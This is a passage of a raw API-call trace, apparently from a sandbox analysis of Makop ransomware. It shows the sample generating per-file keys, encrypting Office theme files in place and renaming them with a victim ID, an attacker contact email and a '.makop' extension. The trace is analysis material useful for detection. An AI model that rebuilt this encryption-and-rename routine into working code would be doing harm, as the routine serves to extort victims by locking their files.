[0099.063] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.063] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.063] GetProcessHeap () returned 0x48a0000 [0099.063] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.063] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.063] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.063] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.063] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.064] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.064] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.064] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.064] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.064] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.064] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.064] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.064] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x90f8, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x90f8, lpOverlapped=0x0) returned 1 [0099.066] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x9100, dwBufLen=0x9100 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x9100) returned 1 [0099.067] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.067] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x9100, lpOverlapped=0x0) returned 1 [0099.067] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.068] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x91d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.068] SetEndOfFile (hFile=0x138) returned 1 [0099.075] GetProcessHeap () returned 0x48a0000 [0099.075] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.075] GetProcessHeap () returned 0x48a0000 [0099.075] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.075] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0099.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.077] CloseHandle (hObject=0x138) returned 1 [0099.077] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0099.077] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0099.077] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0099.077] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL") returned 62 [0099.077] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*") returned 66 [0099.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0099.079] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.079] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0099.079] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0099.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.081] GetProcessHeap () returned 0x48a0000 [0099.081] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.081] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.081] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.082] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0099.086] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.086] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.086] GetProcessHeap () returned 0x48a0000 [0099.086] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.086] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.086] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.086] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.087] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.087] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.087] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.087] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.087] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.087] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.087] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.088] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.088] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x682, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x682, lpOverlapped=0x0) returned 1 [0099.089] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x690, dwBufLen=0x690 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x690) returned 1 [0099.089] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.089] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x690, lpOverlapped=0x0) returned 1 [0099.089] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.089] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.089] SetEndOfFile (hFile=0x138) returned 1 [0099.096] GetProcessHeap () returned 0x48a0000 [0099.096] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.096] GetProcessHeap () returned 0x48a0000 [0099.096] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.096] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0099.096] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.097] CloseHandle (hObject=0x138) returned 1 [0099.098] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0099.098] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM") returned 73 [0099.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.098] GetProcessHeap () returned 0x48a0000 [0099.098] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.098] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.098] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.099] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0099.103] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.103] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.103] GetProcessHeap () returned 0x48a0000 [0099.103] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0099.103] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0099.103] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.104] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0099.104] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.104] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.105] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.105] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.105] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.105] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.105] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.105] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.105] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb75e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xb75e, lpOverlapped=0x0) returned 1 [0099.108] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xb760, dwBufLen=0xb760 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xb760) returned 1 [0099.108] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.109] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xb760, lpOverlapped=0x0) returned 1 [0099.109] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.110] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xb824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.110] SetEndOfFile (hFile=0x138) returned 1 [0099.117] GetProcessHeap () returned 0x48a0000 [0099.117] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0099.118] GetProcessHeap () returned 0x48a0000 [0099.118] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.118] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0099.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.122] CloseHandle (hObject=0x138) returned 1 [0099.123] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0099.123] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF") returned 73 [0099.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.124] GetProcessHeap () returned 0x48a0000 [0099.124] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.124] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.124] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.124] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0099.128] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.128] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.128] GetProcessHeap () returned 0x48a0000 [0099.128] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0099.128] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0099.128] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.128] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0099.128] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.129] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.129] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.129] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.129] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.129] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.129] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.129] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.130] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x24a, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x24a, lpOverlapped=0x0) returned 1 [0099.130] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x250, dwBufLen=0x250 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x250) returned 1 [0099.130] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.130] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x250, lpOverlapped=0x0) returned 1 [0099.130] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.130] 